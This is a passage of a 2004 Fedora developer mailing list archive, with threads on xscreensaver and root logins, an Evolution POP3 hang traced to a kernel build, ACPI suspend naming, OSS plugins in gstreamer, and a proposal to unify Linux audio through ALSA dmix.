is behaving securely by > refusing to allow you to do something that is inherently insecure." Hm? xscreensaver drops privileges if runned as root, and thus it won't be able to access the X cookies file. Ending up unable to connect to the X server. It's not a case of it refusing to do something insecure. In fact, in its documentation, it states that it's "safe to run xscreensaver as root". But in order for it to work, it asks for a "xhost +localhost". And that I don't find very secure. Regards, Luciano Rocha -- Consciousness: that annoying time between naps. From jwz at jwz.org Sun Oct 17 23:56:12 2004 From: jwz at jwz.org (Jamie Zawinski) Date: Sun, 17 Oct 2004 16:56:12 -0700 Subject: Lock screen does not work for root in gnome References: <4172F445.9010809@redhat.com> <4172FA12.2CE5F70D@jwz.org> <20041017233320.GA20829@nsk.no-ip.org> Message-ID: <4173069C.13933C49@jwz.org> Luciano Miguel Ferreira Rocha wrote: > > Hm? xscreensaver drops privileges if runned as root, and thus it won't > be able to access the X cookies file. Ending up unable to connect to the > X server. You'd rather it did what KDE does and not drop privs at all, running arbitrary eye-candy sub-processes as root? > It's not a case of it refusing to do something insecure. In fact, in its > documentation, it states that it's "safe to run xscreensaver as root". > But in order for it to work, it asks for a "xhost +localhost". > > And that I don't find very secure. It simply follows the security measures in use by the X server. If you find those onerous and choose to turn them off, that's your business, but xscreensaver doesn't do that for you. You could always jump through hoops like this instead: xauth -f /home/$USER/.Xauthority nextract - $DISPLAY | xauth nmerge - -- Jamie Zawinski jwz at jwz.org http://www.jwz.org/ jwz at dnalounge.com http://www.dnalounge.com/ From strange at nsk.no-ip.org Mon Oct 18 00:04:53 2004 From: strange at nsk.no-ip.org (Luciano Miguel Ferreira Rocha) Date: Mon, 18 Oct 2004 01:04:53 +0100 Subject: Lock screen does not work for root in gnome In-Reply-To: <4173069C.13933C49@jwz.org> References: <4172F445.9010809@redhat.com> <4172FA12.2CE5F70D@jwz.org> <20041017233320.GA20829@nsk.no-ip.org> <4173069C.13933C49@jwz.org> Message-ID: <20041018000453.GA22811@nsk.no-ip.org> On Sun, Oct 17, 2004 at 04:56:12PM -0700, Jamie Zawinski wrote: > Luciano Miguel Ferreira Rocha wrote: > > > > Hm? xscreensaver drops privileges if runned as root, and thus it won't > > be able to access the X cookies file. Ending up unable to connect to the > > X server. > > You'd rather it did what KDE does and not drop privs at all, running > arbitrary eye-candy sub-processes as root? They can't be trusted to run as root? Can they be trusted to be run as any user at all? > > > It's not a case of it refusing to do something insecure. In fact, in its > > documentation, it states that it's "safe to run xscreensaver as root". > > But in order for it to work, it asks for a "xhost +localhost". > > > > And that I don't find very secure. > > It simply follows the security measures in use by the X server. If you > find those onerous and choose to turn them off, that's your business, No, I find the documentation dangerous. > but xscreensaver doesn't do that for you. You could always jump through > hoops like this instead: > xauth -f /home/$USER/.Xauthority nextract - $DISPLAY | xauth nmerge - Why can't xscreensaver do that when run as root? If it sandboxes it self when it thinks it a necessity, then it should at least do it properly and fully. Regards, Luciano Rocha -- Consciousness: that annoying time between naps. From jwz at jwz.org Mon Oct 18 00:26:43 2004 From: jwz at jwz.org (Jamie Zawinski) Date: Sun, 17 Oct 2004 17:26:43 -0700 Subject: Lock screen does not work for root in gnome References: <4172F445.9010809@redhat.com> <4172FA12.2CE5F70D@jwz.org> <20041017233320.GA20829@nsk.no-ip.org> <4173069C.13933C49@jwz.org> <20041018000453.GA22811@nsk.no-ip.org> Message-ID: <41730DC3.5CAFF765@jwz.org> Luciano Miguel Ferreira Rocha wrote: > > No, I find the documentation dangerous. Feel free to send me better words then. > Why can't xscreensaver do that when run as root? Because the right answer is "don't log in as root." I'd rather not waste my time making it *even easier* for people to have bad security hygiene. > If it sandboxes it self when it thinks it a necessity, then it should > at least do it properly and fully. In my estimation, it already does so. If you'd like it to do more, send me a patch. -- Jamie Zawinski jwz at jwz.org http://www.jwz.org/ jwz at dnalounge.com http://www.dnalounge.com/ From daryll.strauss at gmail.com Mon Oct 18 00:42:50 2004 From: daryll.strauss at gmail.com (Daryll Strauss) Date: Sun, 17 Oct 2004 17:42:50 -0700 Subject: Problems with evolution In-Reply-To: <20041017223846.DCTR2425.imf25aec.mail.bellsouth.net@mail.bellsouth.net> References: <20041017223846.DCTR2425.imf25aec.mail.bellsouth.net@mail.bellsouth.net> Message-ID: <55668b8c041017174249b16bd1@mail.gmail.com> Yep, I'm having very similar problems. Using IMAPS to a local server it will fetch a few messages and then hang and be completely unresponsive. I found going back to the 541 kernel fixed the problem. I haven't had a chance to try all the kernels inbetween to figure out where it started being a problem. - |Daryll On Sun, 17 Oct 2004 18:38:46 -0400, louisg00 at bellsouth.net wrote: > After opening evo and hitting Send/Recieve it hangs trying to get mail from my > ISP POP account. This is on rawhide current. Can't seem to enter bugs in > bugzilla, with try again tomarrow. > > $ export CAMEL_VERBOSE_DEBUG=1 > $ evolution > > (evolution:6348): camel-WARNING **: Invalid root: '/home/louisg00/. > evolution/mail/local/Drafts.ibex.index' > > (evolution:6348): camel-WARNING **: version: TEXT.000 (TEXT.000) > > (evolution:6348): camel-WARNING **: block size: 1024 (1024) OK > > (evolution:6348): camel-WARNING **: free: 0 (0 add size < 1024) OK > > (evolution:6348): camel-WARNING **: last: 6144 (6144 and size: 1024) BAD > > (evolution:6348): camel-WARNING **: flags: unSYNC > > (evolution:6348): camel-WARNING **: Invalid root: '/home/louisg00/. > evolution/mail/local/Outbox.ibex.index' > > (evolution:6348): camel-WARNING **: version: TEXT.000 (TEXT.000) > > (evolution:6348): camel-WARNING **: block size: 1024 (1024) OK > > (evolution:6348): camel-WARNING **: free: 0 (0 add size < 1024) OK > > (evolution:6348): camel-WARNING **: last: 6144 (6144 and size: 1024) BAD > > (evolution:6348): camel-WARNING **: flags: unSYNC > > (evolution:6348): camel-WARNING **: Invalid root: '/home/louisg00/. > evolution/mail/local/Sent.ibex.index' > > (evolution:6348): camel-WARNING **: version: TEXT.000 (TEXT.000) > > (evolution:6348): camel-WARNING **: block size: 1024 (1024) OK > > (evolution:6348): camel-WARNING **: free: 0 (0 add size < 1024) OK > > (evolution:6348): camel-WARNING **: last: 6144 (6144 and size: 1024) BAD > > (evolution:6348): camel-WARNING **: flags: unSYNC > Thread f6a04bb0 > > Get folder info(0x84598b8:vfolder:/home/louisg00/.evolution/mail/vfolder, > '') = > uri: vfolder:/home/louisg00/.evolution/mail/vfolder#UNMATCHED > full_name: UNMATCHED > flags: 0000006a > < f6a04bb0 > > Thread f6a04bb0 > > Get folder info(0x84598b8:vfolder:/home/louisg00/.evolution/mail/vfolder, > '') = > uri: vfolder:/home/louisg00/.evolution/mail/vfolder#UNMATCHED > full_name: UNMATCHED > flags: 0000006a > < f6a04bb0 > > Thread f6a04bb0 > > Get folder info(0x843af58:mbox:/home/louisg00/.evolution/mail/local, '') > = uri: mbox:/home/louisg00/.evolution/mail/local#Inbox > full_name: Inbox > flags: 00000008 > uri: mbox:/home/louisg00/.evolution/mail/local#Drafts > full_name: Drafts > flags: 00000008 > uri: mbox:/home/louisg00/.evolution/mail/local#Sent > full_name: Sent > flags: 00000008 > uri: mbox:/home/louisg00/.evolution/mail/local#Outbox > full_name: Outbox > flags: 00000008 > uri: mbox:/home/louisg00/.evolution/mail/local#Trash > full_name: Trash > flags: 000000f2 > uri: mbox:/home/louisg00/.evolution/mail/local#Junk > full_name: Junk > flags: 000000f2 > < f6a04bb0 > > Thread f6a04bb0 > > Get folder info(0x843af58:mbox:/home/louisg00/.evolution/mail/local, '') > = uri: mbox:/home/louisg00/.evolution/mail/local#Inbox > full_name: Inbox > flags: 00000008 > uri: mbox:/home/louisg00/.evolution/mail/local#Drafts > full_name: Drafts > flags: 00000008 > uri: mbox:/home/louisg00/.evolution/mail/local#Sent > full_name: Sent > flags: 00000008 > uri: mbox:/home/louisg00/.evolution/mail/local#Outbox > full_name: Outbox > flags: 00000008 > uri: mbox:/home/louisg00/.evolution/mail/local#Trash > full_name: Trash > flags: 000000f2 > uri: mbox:/home/louisg00/.evolution/mail/local#Junk > full_name: Junk > flags: 000000f2 > < f6a04bb0 > > Thread f5fdabb0 > > CamelFolder:get_message('Inbox', '3562') = > class: CamelMimeMessage > mime-type: text/plain; charset=iso-8859-1 > content class: CamelDataWrapper > content mime-type: text/plain; charset=iso-8859-1 > < f5fdabb0 > > POP3_STREAM_LINE(32): '+OK InterMail POP3 server ready.' > POP3_STREAM_WRITE(6): > CAPA > > POP3_STREAM_LINE(27): '+OK Capability list follows' > Got + response > cmd_capa > POP3_STREAM_LINE(3): 'TOP' > POP3_STREAM_LINE(4): 'USER' > POP3_STREAM_LINE(10): 'RESP_CODES' > POP3_STREAM_LINE(10): 'PIPELINING' > POP3_STREAM_LINE(12): 'EXPIRE NEVER' > POP3_STREAM_LINE(4): 'UIDL' > POP3_STREAM_LINE(72): 'IMPLEMENTATION Openwave Email vM.5.01.06.10 201-253-122- > 130-110-20040306' > POP3_STREAM_LINE(END) > POP3_STREAM_WRITE(15): > USER louisg00 > > POP3_STREAM_WRITE(15): > PASS xxxxxxxx > POP3_STREAM_LINE(28): '+OK please send PASS command' > Got + response > POP3_STREAM_LINE(28): '+OK louisg00 is welcome here' > Got + response > POP3_STREAM_WRITE(6): > CAPA > > POP3_STREAM_LINE(27): '+OK Capability list follows' > Got + response > cmd_capa > POP3_STREAM_LINE(3): 'TOP' > POP3_STREAM_LINE(4): 'USER' > POP3_STREAM_LINE(10): 'RESP_CODES' > POP3_STREAM_LINE(10): 'PIPELINING' > POP3_STREAM_LINE(12): 'EXPIRE NEVER' > POP3_STREAM_LINE(4): 'UIDL' > POP3_STREAM_LINE(72): 'IMPLEMENTATION Openwave Email vM.5.01.06.10 201-253-122- > 130-110-20040306' > POP3_STREAM_LINE(END) > POP3_STREAM_WRITE(6): > LIST > > POP3_STREAM_WRITE(6): > UIDL > > POP3_STREAM_LINE(14): '+OK 3 messages' > Got + response > POP3_STREAM_LINE(6): '1 3750' > POP3_STREAM_LINE(6): '2 3623' > POP3_STREAM_LINE(6): '3 1610' > POP3_STREAM_LINE(END) > POP3_STREAM_LINE(14): '+OK 3 messages' > Got + response > POP3_STREAM_LINE(41): '1 <1097973346.4378.2.camel at home.gnome.no>' > POP3_STREAM_LINE(41): '2 <1097973433.4378.5.camel at home.gnome.no>' > POP3_STREAM_LINE(43): '3 <1430611617.20041017164204 at jaydemail.com>' > POP3_STREAM_LINE(END) > POP3_STREAM_WRITE(8): > RETR 1 > > POP3_STREAM_WRITE(8): > RETR 2 > > POP3_STREAM_WRITE(8): > RETR 3 > > CamelException.setv(0x8738d18, 2, 'Cannot get message <1097973346.4378.2. > camel at home.gnome.no>: Input/output error') > POP3_STREAM_WRITE(6): > QUIT > > loading error file /usr/share/evolution/2.0/errors/filter-errors.xml > loading error file /usr/share/evolution/2.0/errors/mail-composer-errors.xml > loading error file /usr/share/evolution/2.0/errors/addressbook-errors.xml > loading error file /usr/share/evolution/2.0/errors/e-system-errors.xml > loading error file /usr/share/evolution/2.0/errors/shell-errors.xml > loading error file /usr/share/evolution/2.0/errors/mail-errors.xml > loading error file /usr/share/evolution/2.0/errors/calendar-errors.xml > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From byte at aeon.com.my Mon Oct 18 00:47:34 2004 From: byte at aeon.com.my (Colin Charles) Date: Mon, 18 Oct 2004 10:47:34 +1000 Subject: Problems with evolution In-Reply-To: <20041017223846.DCTR2425.imf25aec.mail.bellsouth.net@mail.bellsouth.net> References: <20041017223846.DCTR2425.imf25aec.mail.bellsouth.net@mail.bellsouth.net> Message-ID: <1098060454.4247.96.camel@albus.aeon.com.my> On Mon, 2004-10-18 at 08:38, louisg00 at bellsouth.net wrote: > After opening evo and hitting Send/Recieve it hangs trying to get mail from my > ISP POP account. This is on rawhide current. Can't seem to enter bugs in > bugzilla, with try again tomarrow. > > $ export CAMEL_VERBOSE_DEBUG=1 > $ evolution http://fedora.linux.duke.edu/wiki/index.cgi/PostIsOffTopic Please write to fedora-test-list at redhat.com instead. Thanks -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi From mattdm at mattdm.org Mon Oct 18 00:57:17 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Sun, 17 Oct 2004 20:57:17 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: References: Message-ID: <20041018005717.GA6696@jadzia.bu.edu> On Mon, Oct 18, 2004 at 01:32:20AM +0300, Paul Ionescu wrote: > I discovered that xscreensaver and lock screen does not work in gnome if > the current user is "root". > Is this a bug or a "feature" ? It's the way it's worked forever. I consider the bug to be that you're given a full GNOME (or KDE) environment when you log in as root. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From louisg00 at bellsouth.net Mon Oct 18 01:42:25 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Sun, 17 Oct 2004 21:42:25 -0400 Subject: Problems with evolution Message-ID: <1098063745.3526.5.camel@tiger> > Yep, I'm having very similar problems. Using IMAPS to a local server > it will fetch a few messages and then hang and be completely > unresponsive. > > I found going back to the 541 kernel fixed the problem. I haven't had > a chance to try all the kernels inbetween to figure out where it > started being a problem. > > > - |Daryll When back to kernel -610, last kernel version before -624. Evo is working again. Thanks for the tip. This is in bugzilla #136110 for evolution. Although the kernel people might need to see this. --Louis From mpeters at mac.com Mon Oct 18 01:43:58 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 18 Oct 2004 01:43:58 +0000 Subject: Request: gtkhtml3 and libgal2 compatability libs In-Reply-To: <1098028390.2994.38.camel@localhost.localdomain> (from otaylor@redhat.com on Sun Oct 17 08:53:10 2004) References: <1098012116l.6618l.0l@devel.mpeters.us> <1098028390.2994.38.camel@localhost.localdomain> Message-ID: <1098063838l.4098l.0l@devel.mpeters.us> On 10/17/2004 08:53:10 AM, Owen Taylor wrote: > > And with a program that only works with the older versions, a > compatibility library really isn't a solution since you'll be unable > to > rebuild the package. You'd need a compatibility development > environment, > which is typically a *lot* of work for a library that hasn't been > designed to allow that. libgal2 and gtkhtml3 do allow that. They are intelligently implemented packages with major version specific header file directories. They use pkgconfig and the name of the pkgconfig has changed from FC2 to FC3T3. I built the FC2 packages on my FC3T3 system and installed them, and then had absolutely no problems building the package that doesn't want to build against the slightly newer versions of those packages (first I did try just changing what pkgconfig file configure looks for, but it wants to include a header file that is no longer provided - so until the package I need to have is updated, it really does need the sightly older version of gtkhtml3 and hence libgal2) > > So, basically, I don't think we'd consider these additions for Fedora > Core. It might be possible to get them into Fedora Extras ... Fedora Extras is where I think they should be - in the [stable] repository. From dax at gurulabs.com Mon Oct 18 01:48:33 2004 From: dax at gurulabs.com (Dax Kelson) Date: Sun, 17 Oct 2004 19:48:33 -0600 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <1098040183.4847.199.camel@localhost.localdomain> References: <1098040183.4847.199.camel@localhost.localdomain> Message-ID: <1098064113.3773.1.camel@mentorng.gurulabs.com> On Sun, 2004-10-17 at 13:09, Havoc Pennington wrote: > [1] however we have to think of a name other than "suspend," > unfortunately, since suspend is a bash builtin /usr/bin/system-suspend ? From mattdm at mattdm.org Mon Oct 18 01:57:21 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Sun, 17 Oct 2004 21:57:21 -0400 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <4172EF29.7050509@redhat.com> References: <1098040183.4847.199.camel@localhost.localdomain> <1098040980.4827.6.camel@kyrre> <1098050523.4847.220.camel@localhost.localdomain> <4172EF29.7050509@redhat.com> Message-ID: <20041018015721.GB9255@jadzia.bu.edu> On Sun, Oct 17, 2004 at 12:16:09PM -1000, Warren Togami wrote: > >We've had suspend on lid close forever I think. Seems like even RHL 7.x > >did this. Of course you can turn it off if you like. > This is hardware specific and done by your BIOS, not the operating system. And, importantly, NOT done by the BIOS anymore with ACPI. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From mattdm at mattdm.org Mon Oct 18 01:56:50 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Sun, 17 Oct 2004 21:56:50 -0400 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <1098040183.4847.199.camel@localhost.localdomain> References: <1098040183.4847.199.camel@localhost.localdomain> Message-ID: <20041018015650.GA9255@jadzia.bu.edu> On Sun, Oct 17, 2004 at 03:09:43PM -0400, Havoc Pennington wrote: > [1] however we have to think of a name other than "suspend," > unfortunately, since suspend is a bash builtin "sleep"? Oh no, wait. :) -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From rhally at mindspring.com Mon Oct 18 02:26:56 2004 From: rhally at mindspring.com (Richard Hally) Date: Sun, 17 Oct 2004 22:26:56 -0400 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <20041018015650.GA9255@jadzia.bu.edu> References: <1098040183.4847.199.camel@localhost.localdomain> <20041018015650.GA9255@jadzia.bu.edu> Message-ID: <417329F0.8050509@mindspring.com> Matthew Miller wrote: >On Sun, Oct 17, 2004 at 03:09:43PM -0400, Havoc Pennington wrote: > > >>[1] however we have to think of a name other than "suspend," >>unfortunately, since suspend is a bash builtin >> >> > >"sleep"? > > >Oh no, wait. > >:) > > > perchance to "dream" From davej at redhat.com Mon Oct 18 02:29:51 2004 From: davej at redhat.com (Dave Jones) Date: Sun, 17 Oct 2004 22:29:51 -0400 Subject: Problems with evolution In-Reply-To: <1098063745.3526.5.camel@tiger> References: <1098063745.3526.5.camel@tiger> Message-ID: <20041018022951.GA20596@redhat.com> On Sun, Oct 17, 2004 at 09:42:25PM -0400, Louis Garcia wrote: > > Yep, I'm having very similar problems. Using IMAPS to a local server > > it will fetch a few messages and then hang and be completely > > unresponsive. > > > > I found going back to the 541 kernel fixed the problem. I haven't had > > a chance to try all the kernels inbetween to figure out where it > > started being a problem. > > > > > > - |Daryll > > When back to kernel -610, last kernel version before -624. Evo is working > again. Thanks for the tip. This is in bugzilla #136110 for evolution. > Although the kernel people might need to see this. known (kernel) bug, will be fixed in the next build. Dave From hp at redhat.com Mon Oct 18 03:17:12 2004 From: hp at redhat.com (Havoc Pennington) Date: Sun, 17 Oct 2004 23:17:12 -0400 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <20041018015721.GB9255@jadzia.bu.edu> References: <1098040183.4847.199.camel@localhost.localdomain> <1098040980.4827.6.camel@kyrre> <1098050523.4847.220.camel@localhost.localdomain> <4172EF29.7050509@redhat.com> <20041018015721.GB9255@jadzia.bu.edu> Message-ID: <1098069432.4847.222.camel@localhost.localdomain> On Sun, 2004-10-17 at 21:57 -0400, Matthew Miller wrote: > On Sun, Oct 17, 2004 at 12:16:09PM -1000, Warren Togami wrote: > > >We've had suspend on lid close forever I think. Seems like even RHL 7.x > > >did this. Of course you can turn it off if you like. > > This is hardware specific and done by your BIOS, not the operating system. > > And, importantly, NOT done by the BIOS anymore with ACPI. > Either way, it's been the normal thing forever. I thought we already had ACPI set up to do this (in software) as well, but I have to admit I haven't been using ACPI much since it doesn't work on the X31. Havoc From nutello at sweetness.com Mon Oct 18 03:16:25 2004 From: nutello at sweetness.com (Rudi Chiarito) Date: Mon, 18 Oct 2004 05:16:25 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: References: Message-ID: <20041018031625.GE17335@server4.8080.it> On Mon, Oct 18, 2004 at 01:32:20AM +0300, Paul Ionescu wrote: > And another question, is there an options to change the unlock prompt from > xscreensaver ? The default one is UGLY, and does not fit in Gnome desktop. For a while, one or two years ago, xscreensaver shipped in Raw Hide with some GTK+2 patches that made the prompt dialog look less alien. I don't know why the patches were reverted. -- Rudi From andy.grover at gmail.com Mon Oct 18 03:28:02 2004 From: andy.grover at gmail.com (Andrew Grover) Date: Sun, 17 Oct 2004 20:28:02 -0700 Subject: ACPI suspend to RAM in FC3T3 In-Reply-To: <1098069432.4847.222.camel@localhost.localdomain> References: <1098040183.4847.199.camel@localhost.localdomain> <1098040980.4827.6.camel@kyrre> <1098050523.4847.220.camel@localhost.localdomain> <4172EF29.7050509@redhat.com> <20041018015721.GB9255@jadzia.bu.edu> <1098069432.4847.222.camel@localhost.localdomain> Message-ID: On Sun, 17 Oct 2004 23:17:12 -0400, Havoc Pennington wrote: > On Sun, 2004-10-17 at 21:57 -0400, Matthew Miller wrote: > > On Sun, Oct 17, 2004 at 12:16:09PM -1000, Warren Togami wrote: > > > >We've had suspend on lid close forever I think. Seems like even RHL 7.x > > > >did this. Of course you can turn it off if you like. > > > This is hardware specific and done by your BIOS, not the operating system. > > > > And, importantly, NOT done by the BIOS anymore with ACPI. > > > > Either way, it's been the normal thing forever. I thought we already had > ACPI set up to do this (in software) as well, but I have to admit I > haven't been using ACPI much since it doesn't work on the X31. It can be configurable what the lid, power, and sleep buttons do, with ACPI...I don't think anyone's written a UI for this yet... -- Andy From symbiont at berlios.de Mon Oct 18 04:02:19 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Mon, 18 Oct 2004 12:02:19 +0800 Subject: Lock screen does not work for root in gnome In-Reply-To: <20041018005717.GA6696@jadzia.bu.edu> References: <20041018005717.GA6696@jadzia.bu.edu> Message-ID: <200410181202.19377.symbiont@berlios.de> On Monday 18 October 2004 08:57, Matthew Miller wrote: > I consider the bug to be that you're given > a full GNOME (or KDE) environment when you log in as root. /root# ln -s /dev/null .gnome /root# ln -s /dev/null .kde -- -jeff From fedora at wir-sind-cool.org Mon Oct 18 07:49:01 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Mon, 18 Oct 2004 09:49:01 +0200 Subject: bugzilla removes QAContact Message-ID: <20041018094901.0111f405.fedora@wir-sind-cool.org> Why is it that adding normal comments to bugzilla tickets without touching anything else removes the QAContact person? What |Removed |Added ---------------------------------------------------------------------------- QAContact|somebody at redhat.com | I've seen this multiple times before. And in a ticket's activity log, it appears, too. -- Fedora Core release 2.92 (FC3 Test 3) - Linux 2.6.8-1.624 loadavg: 0.27 0.35 0.54 From dax at gurulabs.com Mon Oct 18 08:42:37 2004 From: dax at gurulabs.com (Dax Kelson) Date: Mon, 18 Oct 2004 02:42:37 -0600 Subject: Lock screen does not work for root in gnome In-Reply-To: <41730DC3.5CAFF765@jwz.org> References: <4172F445.9010809@redhat.com> <4172FA12.2CE5F70D@jwz.org> <20041017233320.GA20829@nsk.no-ip.org> <4173069C.13933C49@jwz.org> <20041018000453.GA22811@nsk.no-ip.org> <41730DC3.5CAFF765@jwz.org> Message-ID: <1098088957.3964.2.camel@mentorng.gurulabs.com> Related to this "don't login into X as root" discussion... On SUSE Enterprise, if you do a gui login or startx as root, the wall paper is red with warning symbols and bomb icons. :) Dax From rbultje at ronald.bitfreak.net Mon Oct 18 09:41:25 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Mon, 18 Oct 2004 11:41:25 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098008638.14562.8.camel@otto.amantes> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> Message-ID: <1098092484.2798.11.camel@tux.lan> On Sun, 2004-10-17 at 12:23, Thomas Vander Stichele wrote: > Please don't - the disease should be fixed, not the symptom. For all > sorts of reasons people could be using oss, or ALSA/OSS on their > system. If gnome-volume-control shows the same mixer twice, it needs to > be fixed in gnome-volume-control. Don't remove functional plugins > please. It is fixed (well, rather, the bug doesn't show anymore like it used to), but that's only gnome-media 2.10, not 2.8... There's some more work to be done, but that'll be later. Ronald -- Ronald S. Bultje From rbultje at ronald.bitfreak.net Mon Oct 18 09:42:29 2004 From: rbultje at ronald.bitfreak.net (Ronald S. Bultje) Date: Mon, 18 Oct 2004 11:42:29 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098009609.18528.32.camel@localhost.localdomain> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> Message-ID: <1098092548.2798.13.camel@tux.lan> On Sun, 2004-10-17 at 12:40, Matias F?liciano wrote: > Any application that use gstreamer-plugins can use Alsa. In fact, they > don't know if they are using OSS or alsa. They use gstreamer. Period. > OSS programs (by definition does not use gstreamer) are not impacted by > the suppression of OSS support in gstreamer. We often ask people to try the oss plugins if the alsa plugins fail, just to test. So the OSS plugins are useful. Ronald -- Ronald S. Bultje From russell at coker.com.au Mon Oct 18 09:51:35 2004 From: russell at coker.com.au (Russell Coker) Date: Mon, 18 Oct 2004 19:51:35 +1000 Subject: sniff - It doesn't know me anymore.. In-Reply-To: <1097776515.2714.2.camel@kyrre> References: <1097776515.2714.2.camel@kyrre> Message-ID: <200410181951.35903.russell@coker.com.au> On Fri, 15 Oct 2004 04:49, Kyrre Ness Sjobak wrote: > What you should have done was REMOUNTED / ro... unmounting root is an > incredible stupid thing to do (and i have no clue why your box did not > panic INSTANTLY...) "umount /" is exactly the same as "mount / -o remount,ro". Try them both and see. -- http://www.coker.com.au/selinux/ My NSA Security Enhanced Linux packages http://www.coker.com.au/bonnie++/ Bonnie++ hard drive benchmark http://www.coker.com.au/postal/ Postal SMTP/POP benchmark http://www.coker.com.au/~russell/ My home page From feliciano.matias at free.fr Mon Oct 18 10:10:41 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Mon, 18 Oct 2004 12:10:41 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1098092548.2798.13.camel@tux.lan> References: <1097957490.18528.8.camel@localhost.localdomain> <1098008638.14562.8.camel@otto.amantes> <1098009609.18528.32.camel@localhost.localdomain> <1098092548.2798.13.camel@tux.lan> Message-ID: <1098094242.7422.25.camel@localhost.localdomain> Le lundi 18 octobre 2004 ? 11:42 +0200, Ronald S. Bultje a ?crit : > On Sun, 2004-10-17 at 12:40, Matias F?liciano wrote: > > Any application that use gstreamer-plugins can use Alsa. In fact, they > > don't know if they are using OSS or alsa. They use gstreamer. Period. > > OSS programs (by definition does not use gstreamer) are not impacted by > > the suppression of OSS support in gstreamer. > > We often ask people to try the oss plugins if the alsa plugins fail, > just to test. So the OSS plugins are useful. > Is this to test alsa vs OSS or gstreamer ? If the propose is to test alsa/OSS, aplay/play do the trick. It seems to me that you are talking about bugs. When Linux 2.6 was released we often asked people to try with Linux 2.4. Do you want Linux 2.4 or OSS drivers put back in FC3 only because sometimes they work better than Linux 2.6/alsa ? If Fedora do that way, we will have evolution 1.4 and evolution 2.0 in FC3 because evolution 1.4 sometimes works better, ... I think it's anormal to have OSS support in gstreamer since FC3 (as FC2) does not provide OSS drivers. I don't know how gstreamer works and perhaps it's a bug in gnome-volume-control/mixer-applet or gstreamer that should be fixed. In this case, I only suggested a workaround (remove OSS plugin). But I don't think it's good idea to keep OSS plugin only because sometimes it works better than alsa plugin. > Ronald > > -- > Ronald S. Bultje > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From heretic at ihug.co.nz Mon Oct 18 11:36:58 2004 From: heretic at ihug.co.nz (David Mohring) Date: Tue, 19 Oct 2004 00:36:58 +1300 Subject: Proposal: Rationalizing Fedora Audio Message-ID: <1098099418.32464.35.camel@heretic.grobb.org> The state of the Linux/Unix application audio subsystems remains a mess of competing interfaces and audio mixer and networking demons. Proposal: Rationalizing Fedora Audio For Linux alone, there are many applications that still directly use the OSS interface, and will do so for the foreseeable future. Hacking the Fedora Core setup is more possible than fixing all the applications. There are a number of competing audio mixing demons that can be running by the user at the same time: Esound's esd, KDE's arts, and the Freedesktop's proposed MAS ( http://www.mediaapplicationserver.net/ ). The first two demons available on FC3 default to using the OSS /dev/dsp /dev/audio etc interfaces, competing for use of the /dev/dsp, hogging the audio output. Even using the ALSA interface, Fedora defaults to sending/receiving applications audio direct to the hardware device, hogging the interface. By default audio output could go to ALSA or better yet a Dmix plug, where the source and destination could be selected and mixed together. It's possible to get OSS, esd, arts and ALSA working together better with a little configuration... http://alsa.opensrc.org/index.php?page=Dmix+Kde+-+arts%2C+ESD+and+SDL+quick+and+dirty+HOWTO FC3 final, or the next release of Fedora Core/Red Hat after that, should do something similar in the default setup. The default pcm ALSA interface and /dev/dsp should be assigned to a type dmix. HAL/udev should assign hardware sound devices ALSA hw:X and OSS /dev/dspX etc ( with X starting at 1 not 0 see below ). By default the output from first dmix could be piped to the first or owner selected device. The user should also be provided with command line and GUI interfaces to HAL/udev add and remove dmix devices on the fly and select where the output goes to. The volume for each virtual device should be set at 50% by default. Virtual mixer interfaces would also be created by default, and the interface would show up in the gnome-audio-mixer. This would be great for recording content and for Multiuser systems. Future proposal : Multiuser/Mixcasting audio - /dev/dsp like /dev/tty At the moment LTSP and other remote-X servers use ESD,NAS and in the future MAS demons to stream audio over the network. If your the only user assigned to a /dev/dsp it is also sometimes possible to capture the output to OSS and directed to the sound demon. The major problem with this is that the first user to log on gain full ownership of the audio devices, sharing is difficult. One solution is to hack the kernel ALSA so that hw:0 and /dev/dsp are assigned on the fly depending on the UID of the process much the way /dev/tty is assigned on the fly to the caller process's current /dev/ttyX. HAL/udev could assign numbered dmix type ALSA devices to each user and and the sound demon would be free capture the output. Even for single user systems, you could use "Xnest -query :X" to log in as a different user and capture all the auto to stream it out or record it to a demo or audioblog. -- David Mohring From fedora-devel at camperquake.de Mon Oct 18 11:59:02 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Mon, 18 Oct 2004 13:59:02 +0200 Subject: Proposal: Rationalizing Fedora Audio In-Reply-To: <1098099418.32464.35.camel@heretic.grobb.org> References: <1098099418.32464.35.camel@heretic.grobb.org> Message-ID: <20041018135902.176bd51e@nausicaa.camperquake.de> Hi. David Mohring wrote: > Even using the ALSA interface, Fedora defaults to sending/receiving > applications audio direct to the hardware device, hogging the interface. > By default audio output could go to ALSA or better yet a Dmix plug, > where the source and destination could be 